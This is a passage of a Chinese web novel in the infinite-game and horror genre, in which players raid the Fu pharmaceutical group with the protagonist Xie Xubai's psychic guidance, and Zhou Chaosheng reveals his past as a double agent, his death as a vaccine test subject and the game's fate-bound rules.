紧跟着一道黑影“嘭!”地砸中他刚才站立的地方,地板皲裂,碎石迸溅,玩家B勉强站稳,才看清楚那是条大红舌头,而发起袭击的怪物,正是一只能隐身的异种变色龙! 这只变色龙格外巨大,褐色皮肤表面长满怪石嶙峋般的突起,眼睛呆滞,眼白是一圈圈红色的涡旋,不止行动前没有发出一丝声音,还能在光照下隐匿自己的倒影。 玩家B盯着裂开成蛛丝网的地板,汗流浃背,要不是有警告提醒他躲避,刚才他怕是凶多吉少! 视角转向正在进攻另一家药厂的玩家C小队。 来之前以为是家平平无奇的制药厂,探索到中途,才发现下面居然开着一所秘密生物实验室! 体态畸形、凶猛残暴的变异动物不断从出入口涌入,有人不可避免地被逼入死角。 眼看着巨大的前足凌空劈下,将低级防护罩击碎,玩家C绝望地瞪大了眼睛。 千钧一发之际,金色光芒出现,硬生生帮他挡下一击。 玩家C呼吸一滞,用尽生平最快的速度逃出包围圈,回头时瞄向那抹金光,仿佛从中朦朦胧胧地瞄见一道清瘦的身影,面如冠玉,身似苍松翠柏,只是出现,就让人都有股莫名的安全感。 那道身影忽然回眸一瞥,温润淡然的眼神透着安抚的意味:别害怕。 玩家C愣了一瞬,脸颊轰一下烧热! 再看玩家D小队这边,他们的形势相对较好,没遇上那么多变异生物,一路杀进管理层办公室,在搜寻资料的时候发现几名躲藏在这里的员工。 药厂员工抱着脑袋瑟瑟发抖,哭腔求饶:“我们什么都没做,什么都不知道,只是在这里打工,家里还有媳妇小孩,求求你们饶了我们!” 玩家们冷眼凝视他们声泪俱下,握着武器的手紧了又紧。 “别犹豫了,以前吃过的亏还少了吗?这种大可能都是装出来的。” “不斩草除根谁知道会惹出什么大麻烦。” “要是放跑他们,回头通风报信该怎么办?” “记不记得之前有个主播,信了一个鬼孩子的求饶,回头让鬼大卸八块,肠子流了一地!” 就像以前无数次经历的那样,当NPC和玩家处在对立面,为了大局考虑,他们不能冒一丝风险。 玩家D对上几双写满惊骇的眼睛,脸色愈来愈冷,缓缓举起手中的武器。 那一刻,他的良心仿佛在被熊熊火焰烘烤,炙热疼痛,也是这一刻,温雅的男声在他和队友的耳边响起。 【尚未检测出恶意,是否放过这些人?】 在场玩家都愣住了,面面相觑好一会儿,姑且相信提示里说的毫无恶意。 “要不先放了,观望一下情况,有问题再下手也不迟。” 玩家D迟疑地收回武器。 星星点点的金光忽然出现,洒落在那些员工的头顶。 几人的瞳孔涣散空洞,站起身,晃晃悠悠地走到门口,随后恢复神智,一脸“我是谁我在哪发生什么事”的茫然表情,没一会儿各自散去。 玩家们在背后紧张兮兮地观察着,见那些人离开才松了口气。 玩家D垂下眼,摸着冰凉的刀锋,没人知道他心里在想什么,包括他自己,直至温雅的男声再次响起。 【恭喜您获得成就“善心未泯”,特殊NPC“谢叙白”好感度+10】 凝视着“善心未泯”四个字,玩家D的瞳孔颤了又颤,随后,绷紧的浑身肌肉倏然一松,宛若得到了救赎。 同一时间,玩家们都看见了发布在通讯频道的公告。 【现在开始,会为玩家分辨NPC和怪物的善恶值,击杀“恶类”或解救“善类”将获取积分,反之则扣除积分!】 【积分可以在本次剿灭傅氏药业的任务结束后兑换道具,且有希望获取特级珍稀道具!】 刹那间,所有玩家沸腾了! “特级珍惜道具?我有没有看错,谁给我一拳打醒我?!这可是S级副本的道具,啊啊啊啊啊啊!” “就问谁能顶得住,谁能?” “生平从未感受过这么好用的增益buff!根本不用担心怪物搞偷袭,多危险都能被救回来,这哪是金大腿,这是我爹啊!” “你们发现没有?居然能显示实时地图,还能共享坐标方位!” “免疫精神控制,对A级诡怪都有效!” “叫强者处处是惊喜,是谁泪目了?这样一对比,系统简直就像周扒皮。” “之前我还觉得谢叙白的粉丝太疯狂,对不起是我冒昧了,谢门永存!大佬再救我一次!” “谢门永存!” “赞美谢门!” …… 傅氏药业的管理层也接到了消息。 最初听说有二十多个人搞突然袭击的时候,他们还不以为意,结果开完会听到旗下三家药厂被毁,瞬间头皮都竖了起来,勃然大怒! “加在一起足足上百人的厂子,让二十多人给砸了,你们在开什么玩笑?!” 下属哆哆嗦嗦,不敢直视上司可怖的表情:“主,主任,不是二十多人,他们还有其他同伙,差不多四十多人!而且各个身手不凡!” 主任的脸色很难看:“是不是幸存者基地派出来的人?” “我们的人在监视裴玉衡,数量对不上!好像都是突然冒出来的人!大白天真是见鬼了!” 主任狰狞呵斥:“说什么傻话!现在马上给我叫保卫队的人去处理,敢和傅氏对着干,我看他们是不想活了!” 几分钟后,傅氏药业保卫队整装待发,前往制药厂维护治安。半小时后,几名高管询问情况,得知他们打得如火如荼,脸色不由得凝重三分。 但是没关系,傅氏集团家大业大,保镖人手多得是,于是这些主任有恃无恐地问:“那些袭击者还在挣扎吗?他们还剩多少人?” “报告各位主任,他们太狡猾了,边打边撤,好像能提前预知我们的行动,根本逮不到人,现在还剩八十多人!” “不,不对,又来了一批人,这加起来起码有上百人!” 各个主任:“???” 区区上百人,造成的破坏堪比天灾,带来的麻烦比导弹还棘手!傅氏不得不派出大量人手去解救自己的药厂,殊不知玩家们就是等着他们内部防守薄弱,好趁乱而入! 谢叙白留在裴玉衡的身边,精神链接到每一位玩家。 他的精神力极高,有超强的记忆力,能在短短一天内为近百个病患梳理精神世界的污秽。但像这样操作,还是头一次。 为了确保万无一失,谢叙白给所有玩家装上定位。玩家们的所见所闻犹如虚拟的3D立体影像,呈现在他的脑海,逐一构建,变成半个城市的实景地图。 谢叙白就像立在城市的上空,俯瞰大地,通过这些不断反馈来的信息,及时给逃跑的玩家规划路线,安排策略,检测周围有无危险,计算积分…… 此时的他,不亚于一台运算力全开到极致的顶级电脑,并收获到意想不到的惊喜,上百名玩家对他的信仰指数正在飞快增加! 具体体现在他的精神力在缓慢却匀速地提升,同时更容易和拥有信仰的玩家建立精神链接。 玩家越相信他,他就越强,他越强,就能提供更厉害的助力,让玩家越发相信他。一来一往,形成正向循环! 只是这种讨巧的飞跃式提升手段,对精神方面造成的负荷也极大,不知不觉间,谢叙白的脸色愈发苍白,额上有汗水渗出。 看他这个样子,裴玉衡的实验根本没法做下去,心疼地拿来毛巾给谢叙白擦汗,手攥成拳,拧紧眉头。 ——如果他也有精神力,是不是就能帮阿余减轻负担? 念头还未消失,谢叙白刷一下睁开眼睛,眼底掠过犀利的光,转向裴玉衡说道:“他们找到了一个人,你必须得和我去见一见他。” 第115章 周潮生 几分钟前,谢叙白在某名玩家的共享视角中发现了周潮生的身影。 然而和预想中被挟持的困境不同,周潮生附近没有监管人员,身上也没有穿戴类似枷锁之类的束缚物,只是一身简单的白色实验服。 彼时他身处于傅氏集团某个冷门的科研展览厅。展览厅对外开放,离大门的位置很近,刚潜入傅氏药业的玩家几乎一眼就看见了周潮生。 后者站在展览厅中央,头往上抬,仰望一个超大型的行星建模。 行星围绕着一圈陨石带,表面是被烈火烧尽的黑炭色,外层在高温下皲裂,灼目的橙红色火星呼一下从裂纹中喷涌而出,扬起灰白色的余烬,有种将要毁灭的疯狂感。岩浆在漆黑沟壑中流淌,栩栩如生。 周潮生一动不动,不知是发呆还是看得痴迷,昏暗的阴影落在他的脸上,让人看不分明。 就当玩家想要靠近确定他的身份时,他突然毫无征兆地转头,一双死气沉沉的眼睛宛若灰白鱼目,精准地瞥向潜行中的玩家。 玩家感受到危险降临,浑身发冷,所幸他反应够快,当即表明自己的身份,示意自己没有恶意,接到裴余两人的指派前来救人。 周潮生只说了一句话。 他问:“他们研究出疫苗了吗?” 玩家一愣。 那瞬间周潮生好似从他的表情中读出答案,面无表情地闭了闭眼,宛若叹息地说道:“都是命啊……” “劳烦你帮我带句话,我在A01322号实验室等候他们的到来。” 话音刚落,玩家来不及说些什么,陡然眼前一黑,栽到地上。 谢叙白通过精神链接确定玩家只是昏迷,没有受伤,通知附近行动的其他人过去救人。 一队玩家用最快速度赶到展览厅,透过窗户玻璃往里看,里面空空荡荡,关着灯,一片死寂。 且让人感到无比诡异的是,敞开的展览厅大门居然上了锁,门上贴着“因流行传染病毒影响,暂时闭厅”的告示,关闭日期居然在几个月前! 用开锁道具开门进入,大理石地板和展柜玻璃积着一层薄灰,显然之前有很长时间没有人到访,只有一串新脚印,从门口蔓延至玩家昏迷倒地的位置。 大厅正中央,那颗充满毁灭感的行星模型也不翼而飞,摆放着常规的太阳系行星系列模型。 诡异世界的不正常已经成为常态,犯不着一惊一乍。 只是谢叙白莫名心悸,总感觉周潮生的现身像是在向他们预告什么,一刻不敢停留,火速前往傅氏药业。 事实证明傅氏集团没那么好攻打,高管比他们想象中还要惜命,制药厂接连受袭,本部派人赶去支援,竟还有三百多名警卫人员留守在大本营。 只一个照面,这些人双眼突出,血线变黑,宛如蠕虫般扭动,分分钟破开皮肤,长出狰狞触肢,化身可怖残暴的怪物,和玩家疯狂战成一团! 一时之间,傅氏药业集团厂区化身战场。 爆炸不断,血色弥漫,怪物的咆哮与人类愤怒的拼杀声冲破云霄! 中途那些警备人员接到命令,集体往撤离通道走,护着高管离开,方便谢叙白等人趁乱进入。 只是期间谢叙白要分神关注玩家的情况,精神力严重透支,又不能让玩家看见他虚弱的模样影响信仰值,出发时就没有通知其他人,全靠自己勉力支撑。 豆大的冷汗顺着脸颊大颗往下淌,撑着墙壁的指尖因大力而泛白。 在他又一次身体一晃,差点摔倒之后,裴玉衡不顾他的挣扎,强势地将他背上身。 裴玉衡在这里工作多年,熟知地形,没费多少功夫就抵达周潮生所说的实验室附近。 所有安检通道的闸门一律大开,畅通无阻,结合周潮生消失前引他们前来的那句话,说这其中没有对方的手笔,裴玉衡绝不相信。 印象中周潮生只是一个平平无奇的科研人,为人低调,不争不抢,但如今和谢叙白经历良多,裴玉衡早已不像从前那样天真单纯。 他几乎第一时间想通关窍:能在傅氏集团的施压下保住他的人,又会是什么简单的人物? 干净整洁的走廊在灯光映照下,反射出金属色的冷光。人似乎都被喊走了,地上散着来不及捡的资料纸张,大部分仪器被收走,小部分摧毁,散发着塑料烧灼后的焦臭味。 傅氏集团实验室几乎都是这样的规格,让人有种透不过气的封闭感,曾经裴玉衡日日夜夜被困在这里,反射性地感到压抑。 忽然,背上一直默不作声的谢叙白,搂了下他的脖子。 “没事。”裴玉衡在微弱的力道中回神,手臂往上垫了垫,强调一遍,“乖,我没事。” 没过多久,实验室的门近在咫尺。门没锁,虚掩着,露出一条欲盖弥彰的缝隙,仿佛在邀请他人。 谢叙白喘出一口气,坚持下来,走在前面,手贴着门把手,轻轻往前一推。 这一推,像打破平静的假象,一道愤恨的咆哮贯穿耳膜,响彻室内! “啊啊啊啊啊!!!放开我!!” 谢叙白瞬间警戒,飞速往声源处看去,却见一个人高马大的男人被牢牢捆绑在特制的椅子上。 他疯狂挣扎,皮肤胀大,青黑发紫,脸上充斥着鼓起的血管,宛如狂暴后的丧尸。 尽管男人的面容受异化影响,变得和以前大不一样,但谢叙白二人还是一眼就看了出来,眼前的人竟是傅倧! 吵闹之中,实验台那边哐当一阵响。 谢叙白率先回神,错愕地看向实验台前忙碌的身影。 周潮生身穿白大褂,手里拿着针管,不紧不慢地走过来,无视傅倧几乎恨不得将他咬碎的眼神,熟练地给人扎了一针。 傅倧大吼大叫,铁链在挣动中咔嚓作响,最后在药力作用下,不甘愿地闭上眼。 室内忽然重回寂静。 谢叙白不清楚发生了什么,谨慎的没有出声。裴玉衡看着有些陌生的导师,也说不出话来。 “放心,只是镇定剂。”周潮生终于开了口。 几个月没见,他看上去憔悴了许多,头发稀疏,骨骼突出,走路姿势有些怪异,眼里是无法言说的疲惫。 在周潮生的背后,有一个被厚布遮挡的大型仪器,占据整个实验室四分之一的面积。无数根粗大的管子钻入布的缝隙和它连接,贴地纵横交错,蔓延到墙壁上的晶体电路。 听见导师熟悉沙哑的声音,裴玉衡心里一颤,终究破了功,急切询问:“老师,这到底是怎么回事?您失踪的这几月难道一直被困在傅氏药业?” 他这样说,是不相信周潮生和傅氏集团有瓜葛,内心对人还抱有一丝信任。 但周潮生摇了摇头,打破他的侥幸心理:“不,无论是加入傅氏药业,还是参与他们的实验,我都是自愿的。” 没有过多赘述,周潮生拿出一份□□泛黄的资料袋,递给裴玉衡:“你父母最后没能完成的那项研究,你知道的有多少?”深沉的视线不止落在裴玉衡的身上,还与谢叙白对撞在一起。 听到这话,裴玉衡的动作骤然一滞。 他盯着眼前包装严密的资料袋,顷刻间想到个不可思议的可能,迫不及待地拿过来打开,因为心情激动,手指不稳颤动。 资料纸被抽出来,署名确实为裴家夫妇,然而标题却赫然写着:《论人脑潜力的开发》 裴玉衡的激动瞬间变成茫然,脱口而出:“……怎么会?” 人类对大脑潜能的开发研究从未停止,研究表明,目前大部分人的大脑潜能开发在2%-8%这个区间,就算是历史上赫赫有名的伟大科学家,最高也不过13%。 人脑的生物构成并不晦涩复杂,蛋白质、脂类、维生素b等,难的是人们还未找到合适的科学理论,来解释灵魂和思想的产生。 这是个饱受瞩目、崎岖艰难的课题,有人研究大半辈子都难出结果。如果裴家夫妻真的能拿出显著成果,引起举世轰动绝非夸大其词! 然而裴玉衡茫然的点在于,他父母主攻抗癌细胞和病变,根本不是这块领域的专家。 即使是生物药研也分很多个大类,大类下又会细分出无数个小类,其中学习实操难度跨越之大。想要短时间速成,简直是天方夜谭。 再往后看,裴玉衡的目光忽然定住了,迷茫的情绪愈发旺盛,几乎化作火焰将他的理智燃烧殆尽。 只见白纸黑字上赫然写着。 【实验对象:裴玉衡。】 也是这个时候,周潮生再次开口:“我是你父母的校友,曾经在一家实验室共事过,后面他们没来由大病一场,精神恍惚辞了职。那时候你刚出生不久,大概六个月左右,你的父母忽然找到我,问我相不相信转世轮回。” 周潮生思及当时的情况,仍然一脸不可思议,自嘲道:“都说科学的尽头是神学,我还不相信,直到半岁时的你当着我们三人的面,口齿清晰地复述了一段达尔文进化论。” “你爸妈嫌我不够震惊,又让你背诵《物种起源》和《基因论》,一字不差。你口干舌燥开始哭嚎,我回神去接水,震惊中没留神,还在地上狠狠地摔了一跤。” 裴玉衡第一反应是不可能。 半岁婴儿,身体机能都没发育完全。说句玩笑话,这个阶段,就算是有人魂穿过来,都得先走流程,流着口水咿呀咿呀。 可鬼使神差的,他想起当初小叙白认药名。 整个仓库的药物,百八十种,无论是常规药还是特殊拮抗药,不管是哪个国家,小叙白都能瞬间答出,这何尝不是另一种不可能? 第116章 周潮生之死 “可是我一点印象都没有。”裴玉衡喃喃道。 “那当然。”周潮生往高处看,那里只有封闭的天花板,他却像透过合金墙面望向什么存在,带着丝丝讽意,“毕竟游戏要公平公正,怎么能作弊?” 嘭! 轻轻巧巧的语气,好似触怒了什么,被绑在椅子上的傅倧忽然身体剧震,与捆绑的金属椅发出震响。 谢叙白等人快速回头,只见傅倧双眼瞪大,如同看待杀父仇人一般仇恨地盯着他们。 那双灰白色的眼珠子不断充血胀大,在不知名的力量驱使下往外突出,红到滴血,竟有要掉出眼眶的骇势。 亲眼见证并熟悉污染过程的在众三人都知道,这是异化加重的征兆! 周潮生当即暗骂一声,反手去拿镇定剂,谁知道有一个人的速度比他还快——是谢叙白! 青年几乎在响动出现的第一时间,就拔起疲累的身体,以迅雷不及掩耳之势跨步到傅倧的身边,视线从那双暴虐的猩红瞳孔中一掠而过,将镇定剂全数推入。 傅倧挣扎、咆哮,后脑勺将椅背撞得嘭嘭响,谢叙白清晰地在他身上感受到一股不同寻常的力量,那力量不属于傅倧,却操控着他发狂。 于是谢叙白用上精神力,终于将傅倧强硬地按捺下去。 彼时外面的玩家和傅氏药业仍打得激烈,大楼在爆炸中摇晃,剧烈的震感穿透地底,天花板缝隙中扑扑簌簌地抖落灰尘,架子上装着不明药剂的试剂瓶碰撞摩擦,哐当作响。 谢叙白脸色发白,快速地换上一口气:“有什么事情过后找时间慢慢说,你先跟我们离开这里!” 周潮生视线从他身上扫过,语气出现了点微乎其微的软化,不紧不慢地道:“放心,这后面有个安全通道,防护墙可以正面抵抗十几吨级的爆炸,塌不了,钥匙在这,想什么时候走都可以。” 他说话途中往傅倧身上看了一眼,谢叙白也注意到通道旁有类似虹膜识别的机器,所谓的钥匙,大概指代的傅倧。 然而重点在,周潮生是如何在傅氏集团的地盘,做到无声无息地带走他们的继承人? 再回头,一个试剂瓶递到谢叙白的面前。 周潮生:“喝了吧,对缓解疲劳有好处。” 裴玉衡先问,似乎在从药剂的颜色和气味分析它的成分:“里面是什么?” 自从他知道周潮生的身份不一般,同时隐瞒了很多东西,就无法再全心全意地信赖这名往日的导师,对周潮生递给谢叙白的药剂,也自然地带上三分警觉。 周潮生瞥了一眼护犊子的学生:“我没有理由毒死他。” 谢叙白没在周潮生的身上感受到恶意,干脆利落地将试剂瓶接过,一饮而尽。 说来神奇,那药剂一入口,他匮乏的精神力瞬间恢复不少,头脑一片清明,更能观察到细微的情绪波动。 瞬间谢叙白就发觉周潮生的不寻常,从他身上传来的精神力波动太过虚弱,仿佛风中残烛,一吹即散。 他不由得转头盯向这个人,眉宇微蹙。 周潮生像是没有注意到谢叙白的打量,继续之前的话题:“我们给你做了全套检查,血缘鉴定你确实是他俩的亲生子,不是被人中途掉包的改造人。又发现你的身体指标超出同龄婴儿数倍,甚至能比得上一个正常发育的成年人……匪夷所思的数据越来越多,我们也提出诸多假说,外星人、基因突变……可这都不能解释,为什么你能流畅地背诵从未见过的书籍。” “之后你父母开始陆陆续续做梦,每一次醒来,他们的生理病症就会加重,同时愈发坚信你是转世重生后的人。但这一点没法在你的身上得到验证,因为你除了陈述性知识,并不能与人正常沟通交流。你敢相信吗?能够拆析基因图谱的孩子,连说个‘你好’都费劲。这又颠覆了一大常理。” “至于你父母梦到的那些未来事,什么工厂爆炸,企业倒台,大多都没有实现,也就没有实质性的依据能证明你拥有转世记忆。大概又过了一年半的时间,这段日子,你能够一眼看出你父母在生物实验中的实操性错误,几乎抵达人类智力的巅峰——” 周潮生说到这里,缓缓道:“可就在这时,你的智力忽然急转直下,就像触底反弹了一样。” “而在那之前,你没来由地找上我,和我说过几句话。” 和大部分学术人才一样,周潮生无法抗拒探究裴玉衡身上显露的异常,那段时间他频繁请假,来裴家观察记录裴玉衡的变化。 他见证了裴家夫妇从正常到愈发癫狂的全过程,想过自己收养裴玉衡,或是将小孩带到具备优渥条件的相关机构,然而两夫妻再怎么迷糊,也坚决不肯将裴玉衡的存在暴露给外界。 他们将裴玉衡隐藏得很好,无法平衡工作和照顾孩子时果断辞职,如果发病吗,就找周潮生当孩子保姆,由此,度过一段相较平安无事的日子。 但这种日子注定是短暂的。 凭借周潮生有限的学识,他知道裴玉衡身上发生的一切不同寻常,却无法未卜先知地了解到事态的严重性,及这件事幕后的汹涌暗潮。 两岁不到的裴玉衡主动找周潮生说话的那天,天气相较以往更加阴沉,厚重的乌云徘徊在城市上空,花园里泛黄枯叶挂满树梢,风中裹挟着刺骨的寒意。 萝卜头大小的孩子拿着书,端坐在书房椅子上,旁边的周潮生对着电脑敲敲打打,构思课题。 听着窗外隐隐作响的雷鸣,他忽然有股莫名的心悸,担心气温骤降,小孩子会感冒,刚刚站起身,头顶突然传出呲啦一道电流声,紧跟着天花板上的灯爆开。 寂静的书房内,那声响动如同重锤敲打在周潮生的心头!惊骇中他想也没想地回头冲过去,赶在玻璃碎片砸在小孩头上的瞬间,将裴玉衡护在怀里。 也是那千钧一发之际,他听到窗外雷鸣震耳,惨白的电光将昏暗天幕映得如同白昼,铺天盖地皆是粗壮狰狞的雷霆,宛若天怒。 周潮生的心脏在雷声中扑通扑通急速跳动,几乎跳出嗓子眼,全身血液瞬间直冲脑海,令他头晕目眩,视野模糊。 他感觉有股微弱的力道在下面拽着他,低头看,只见两岁大的孩子如梦初醒地瞪大眼睛,清凉的眸子一点点覆盖上成年人的深沉惊愕,嚅嗫嘴唇喊了他一声:老师! 周潮生不确定自己是不是听错了,直到裴玉衡再次喊他:周老师。 孩童的脑袋展望四周,稚嫩的嗓音带着深沉的语气,饱含惊魂不定:“……又一次?这是第几次?谢……他们在哪儿?” ——轰! 天穹雷霆打到窗边,花坛在震响中爆裂,刺目雷光充斥整个房间,刺得耳膜生疼! 周潮生顾不上那么多,不敢在书房停留,抱起孩子,踩着满地玻璃往外跑。 但不管他跑到哪个房间,雷声始终萦绕耳畔,像是追着他们……不!追着裴玉衡的方位,连带着要将他一起劈成灰烬! 怀里的裴玉衡并不安稳,浑身痉挛抽搐,脸部烧红裂出血线,用尽全力嘶喊出声:“不行,我被……检测到了!老师,你要记住……记住我接下来说的话!这关乎人类的未来!” 孩子的话没头没尾,咆哮雷鸣中现实世界忽然变得光怪陆离,与虚幻的雷光交错。 刹那间,周潮生忽然理解了裴家夫妇所说的冥冥预感,像几十米海啸自心底呼一下升起,在未知的惶恐和不安中,将近三十年的认知拍得支零破碎! 在那短暂得大脑根本来不及反应的间隙,他做了一个平生最明智的举动——紧盯着孩童张张合合的嘴唇,将裴玉衡接下来所说的话包括唇语全部记录下来,深深地刻印在自己的脑子里。 他非常庆幸自己这样做了,因为裴玉衡没说几句话就体力不支晕倒过去,并且发起高烧,各项身体素质急剧倒退。 裴玉衡自此变得像个婴儿,正常的婴儿,说不清楚话,也没有惊世骇俗的智力。 周潮生想再次论证当时的情况,也无法与之述说。 按理来说,裴家夫妻也知道一星半点的异常,可两人却一脸古怪地看着他,认为他在说笑,更对之前的实验日记毫无印象。 仿佛那日所见所闻,与雷电夺命角逐,只是大梦一场。 直到周潮生再度与裴玉衡相见。 周潮生说:“之后你父母带着你消失了,也是再次遇见你,我才知道他们投靠了傅氏集团,连累你无法脱身。” 那一刻,有些遗忘过往经历的周潮生,就像打破某种认知限制,刺骨的寒意中,耳畔再次回响起裴玉衡充满决绝的声音。 “……老师,第一件事,绝不能让我成为傅氏的爪牙!哪怕让我死!” 一个龙头药业集团,确实有让人如临大敌的资本,但又何至于裴玉衡用生命作誓? 那丝丝缕缕的危机感再度浮现心头,周潮生心中敲响警钟,他做了一个大胆的决定。 ——扭头找上傅氏集团,当起双面间谍。 在傅氏眼中,周潮生是安插在裴玉衡身边,可予以重击并监视他行动的棋子。 实质上周潮生是以自己作搭桥,让傅氏可以放心放任裴玉衡潜心学术,借此深入敌营,暗中调查傅氏幕后的力量。 也许因为他曾也有一瞬窥破天机,竟能觉察到旁人所不能看到的异常。 渐渐的,通过诸多不和谐的蛛丝马迹,周潮生恍然发现,令裴玉衡忌惮的不是傅氏,而是一个支配傅氏的、更高高在上的存在。 ——无限游戏。 “污染蔓延,是游戏开场的序幕,所以无法制止。傅氏集团是本场游戏钦定的BOSS,所以一切有利条件都会朝着他们倾斜,不管傅氏的局势如何不妙,总能化险为夷。” 周潮生猛地咳嗽两声,紧盯谢叙白两人,揭破一个让人绝望的事实:“你们一直研发不出疫苗,不是路走错了,而是规则不允许!” “外界对傅氏集团的呼声极度高昂,唯一能牵制他们的组织,只有联盟政局,然而这种不利因素,游戏岂会放任下去?” “两个世界融合之际,诡异覆盖现实,人类秩序不复存在,届时联盟政局也将被抹除!” 谢叙白的心沉入谷底。 他清楚周潮生的话并非虚言,在二十多年后,法律概念无端消失,根本没有联盟政局的存在。 竟是在这个时期被游戏规则抹除……! 单单一句雪上加霜,已经不足以形容人类将要面临的困境。但峰回路转,谢叙白从周潮生激烈的情绪起伏中,觉察出一丝转机。 果不其然,周潮生闭了闭眼,沉痛地吐出一句破解之法:“让裴玉衡异化,偷天换日,取代傅倧掌控傅氏药业,允许疫苗的诞生,令规则放行。” 亦是裴玉衡当初的原话。 “这段时间,我已经亲身验证过了。”周潮生再度咳嗽起来,带着撕心裂肺的恹恹丧气,“确实只有用傅氏的名义,才能研发出疫苗。” 裴玉衡想起傅倧所说的稀释实验,所谓疫苗是产生抗体的人血,不妙的预想自心底犹然而生。 谢叙白和周潮生对视一眼,神色凛冽,不由分说快步冲向对方背后,大力将遮光布掀开。 密密匝匝的晶体电管暴露在两人的视野中,不出谢叙白预料,正中央是个超大型的培养器。 扭曲残损的肢体泡在营养液中,起起伏伏,皮肤上数枚青紫色针眼和被手术刀切开的伤痕,清晰可见。 室内陷入死一般的寂静,空气莫名生冷,只有谢叙白两人因震惊愈发粗重的呼吸声。 周潮生也没想到谢叙白会突然动作,来不及阻止的手僵在半空。 半晌,他徐徐叹出一口气:“挺丑的,别看了。” 裴玉衡眼眶通红,回头看去,周潮生凝实的躯体虚幻起来,如同幽灵。 霎时间他嘴唇颤动,双眼发黑,一丝悲鸣破口而出,反应过来时,已然泣不成声。 第117章 你会走上不一样的结局…… 周潮生早有赴死的觉悟,却万万没有死后还要受人制约,并给学生心里扎一刀的想法。 落到如此凄惨的结局,归根结底只有一个原因。 他失败了。 时光如梭,岁月流转,当周潮生与裴玉衡重逢,倏然如梦初醒,意识到命运将对人类施加的不公和对故友之子的摧残,他第一反应是愤怒。 他们做错了什么,凭什么要被这样玩弄? 冲动和悲愤使周潮生热血上头,于是他前往傅氏药业暗渡陈仓。 然而,规则却展现出它的不可抗力——明明周潮生谨言慎行,没有露出马脚,却因为“值班巡逻员脑子一抽,想尝尝领导办公室的咖啡”这种戏剧化到荒唐的原因,被抓了个现行。 谢叙白他们在城南新区千辛万苦寻找周潮生的那段时间,周潮生狼狈受审,沦为疫苗实验体,备受折磨,意志在疼痛中反复拉扯。 此后又不知道过了多久,在周潮生几乎以为自己快要疯掉的那一刻,他猛然听见浑浑噩噩的脑子里传出一道玻璃破碎的脆响。 仿佛打破某项无形的限制,身体变得很轻,锁链再也不能约束他的行动。 周潮生倍感惊喜地睁眼,结果一盆凉水兜头淋下,他惊愕地发现自己漂浮在半空中。 身后传来傅氏药业众人欣喜若狂的欢呼,只因他们终于研发出疫苗!而作为疫苗原始样本的残损肢体,也被他们难掩贪欲地送入培养器。 如果有玩家比谢叙白他们更早来到这个实验室,他们会在发现残骸的瞬间,接到系统提示,惊醒怨气横生的小BOSS周潮生。 彼时周潮生早已被仇恨浇灌,失去理智,突然闯入的玩家,只会被他当成傅氏集团的走狗员工,从而展开激烈战斗。 如果玩家胜利,将取得周潮生的残骸碎片,用作刺激裴玉衡发狂异化和解锁支线剧情的关键道具。 可是谁也没有想到,会有名为“谢叙白”的变数横空出世,不仅先系统一步将大部分玩家收入己方阵营,还提前带裴玉衡见到了周潮生。 细究起来,竟是一种幸运。 周潮生失败了,但也微妙地挣脱命定的结局。毕竟按照游戏给出的剧本,被怨恨裹挟的他即使化身恶诡,也无法脱离惨死的实验室。 他只能在无边痛苦中等待玩家入场,来不及交付遗言或澄清什么,便迎来自己的第二次死亡——魂飞魄散。 如今的他,意识清明,能依靠诡怪的力量在傅氏药业自由穿梭,利用玩家扮演傅倧的漏洞打个时间差,神不知鬼不觉地带走真正的傅家继承人,掣肘傅氏。 理当为之庆幸,高兴一下。 却无人能够笑出声。 垂眸凝视悲痛欲绝的裴玉衡,周潮生胸口仿佛憋着一口灼痛的气。 或许裴玉衡的转世重生并非偶然,获取诡异力量之后,周潮生竟然也产生微乎其微的感应,意识到自己不止死了一次。 这些都是次要。 如今他们再一次站在命运的节点,眼前看似有许多条路可选,其实别无选择。 ——疫苗非规则之力加持,无法研发。裴玉衡为了生民大义,在无法对抗傅氏药业一整个庞大集团的前提下,取代傅倧是有且仅有的生路。 何其令人绝望? 尝试对抗过规则的周潮生,已经连叫嚷的力气都没有了,心底只剩一片苍凉。 ——如果转世重生,倒行逆施,是裴玉衡和另一群人牺牲众多才换来的机会,那不能更改命运,走上既定的结局,岂不是说明他们从头到尾都在做无用功? ——那这样苦苦挣扎,究竟有何意义? 同一时间,【规则】也隔着二十多年的光阴,向谢叙白轻声告诫。 傅倧必须由裴玉衡来扮演,因为谢叙白曾在第一医院的特别关押室,亲眼看见裴玉衡口中呕出血红肉块,从傅倧的长相,变回原本的模样。 【规则】说:就算你找到规则的漏洞,能混淆他人认知,塑造虚假的历史,又要怎么去欺骗过去的自己? 以谢叙白的缜密程度,随时可能颠覆因果,触发“外祖母悖论”。 ——一旦他在医院节点,“怀疑”起裴玉衡扮演傅倧的幕后隐情,就不会正面冲撞医院【规则】,更不会机缘巧合穿越时空,与二十年前的裴玉衡相遇结识,又为帮裴玉衡渡过难关伪造历史,留下破绽,最后令二十多年后的自己产生“怀疑”。 就像一个人不能穿越过去,在生育自己的父亲出生之前,杀死自己的祖父母。 因果一环扣一环,严丝合缝,不容有失。 谢叙白腰背笔直,只身站立,静静聆听【第一医院规则】的告诫。 温雅面容像是沉入实验室的阴影,冰封般没有显露出丝毫情绪。 他的目光即落在喑哑嘶喊的裴玉衡身上,也越过对方削瘦的肩膀,凝视培养器中不成人形的尸身。 其实这时的【第一医院规则】,已经被谢叙白折服。 自从它跟随谢叙白了解历史,知道对方是第一医院的副所长,和裴玉衡同为自己的“生父”,就一改之前反感厌恶的态度,不可避免地对青年产生了亲昵。 之后谢叙白多次帮卫生所化险为夷,扩建地盘,也让【医院规则】对青年的信服度节节攀升。 单个区域【规则】之上,还有更高的【规则】。 【第一医院规则】估摸着,它可能是受到了【游戏规则】的蒙蔽,才会认不出谢叙白是谁。 但是没关系,只要谢叙白在这个节骨眼上收手,不让事态进一步变化,即使不能改变现在的结局,等谢叙白回到二十多年后,也会有一个全心全意信服他的【第一医院规则】,为他加冕,成为解决傅倧的助力。 这样不也很好吗?过往悲剧无法挽回,但他们还能拥抱未来。谢叙白手里捏着的影像和实验记录,足够还裴玉衡一个清白。 【医院规则】柔声安慰:谢叙白,你已经尽力了。 所以不必继续逼迫自己,去追求那不可能实现的力挽狂澜。 就在这时,脚下的大地忽然传来剧烈的震动,牵一发而动全身,整个工业园的警报瞬间响起,尖锐刺耳划破长空。 谢叙白没来由地感觉到一股压迫力,不止是他,旁边的裴周二人,包括在外打得如火如荼的玩家和傅氏员工,都感受到了这不同寻常的动静。 